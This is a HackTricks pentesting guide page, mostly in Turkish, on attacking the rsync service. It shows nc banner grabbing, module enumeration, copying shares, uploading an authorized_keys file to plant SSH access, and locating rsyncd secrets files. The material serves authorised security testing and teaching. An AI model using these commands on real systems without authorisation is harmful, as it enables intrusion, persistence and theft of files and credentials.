hacktricks/network-services-pentesting/873-pentesting-rsync.md

114 lines
6.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 873 - Pentesting Rsync
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Temel Bilgiler**
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync**, bir bilgisayar ile harici bir sabit disk arasında ve [ağ](https://en.wikipedia.org/wiki/Computer\_network) [bilgisayarları](https://en.wikipedia.org/wiki/Computer) arasında [dosyaları](https://en.wikipedia.org/wiki/Computer\_file) [verimli bir şekilde](https://en.wikipedia.org/wiki/File\_transfer) [aktarmak](https://en.wikipedia.org/wiki/File\_transfer) ve [senkronize etmek](https://en.wikipedia.org/wiki/File\_synchronization) için bir yardımcı programdır; dosyaların [değiştirilme zamanlarını](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) ve boyutlarını karşılaştırarak çalışır.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Genellikle [Unix benzeri](https://en.wikipedia.org/wiki/Unix-like) [işletim sistemlerinde](https://en.wikipedia.org/wiki/Operating\_system) bulunur. Rsync algoritması, [delta kodlama](https://en.wikipedia.org/wiki/Delta\_encoding) türüdür ve ağ kullanımını minimize etmek için kullanılır. [Zlib](https://en.wikipedia.org/wiki/Zlib) ek [veri sıkıştırması](https://en.wikipedia.org/wiki/Data\_compression) için kullanılabilir,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) ve [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) veya [stunnel](https://en.wikipedia.org/wiki/Stunnel) güvenlik için kullanılabilir.
**Varsayılan port:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Enumeration
### Banner & Manuel iletişim
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Paylaşılan Klasörleri Sayma**
**Rsync modülleri**, **şifrelerle korunabilecek** **dizin paylaşımları** olarak tanınır. Mevcut modülleri belirlemek ve şifre gerektirip gerektirmediğini kontrol etmek için aşağıdaki komutlar kullanılır:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Dikkat edin ki bazı paylaşımlar listede görünmeyebilir, bu da onları gizleyebilir. Ayrıca, bazı paylaşımlara erişim belirli **kimlik bilgileri** ile kısıtlanmış olabilir, bu da **"Erişim Reddedildi"** mesajı ile belirtilir.
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Manuel Rsync Kullanımı
Bir **modül listesi** elde edildikten sonra, eylemler kimlik doğrulamanın gerekip gerekmediğine bağlıdır. Kimlik doğrulama olmadan, bir paylaşılan klasörden yerel bir dizine **listeleme** ve **kopyalama** işlemi şu şekilde gerçekleştirilir:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Bu işlem **dosyaları özyinelemeli olarak aktarır**, niteliklerini ve izinlerini korur.
**Kimlik bilgileri** ile, paylaşılan bir klasörden listeleme ve indirme aşağıdaki gibi yapılabilir; burada bir şifre istemi görünecektir:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
To **upload content**, such as an _**authorized_keys**_ file for access, use:
İçerik **yüklemek** için, erişim için bir _**authorized_keys**_ dosyası gibi, şunu kullanın:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Bu dosya içinde, bir _secrets file_ parametresi **rsyncd kimlik doğrulaması** için **kullanıcı adları ve şifreler** içeren bir dosyaya işaret edebilir.
## Referanslar
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}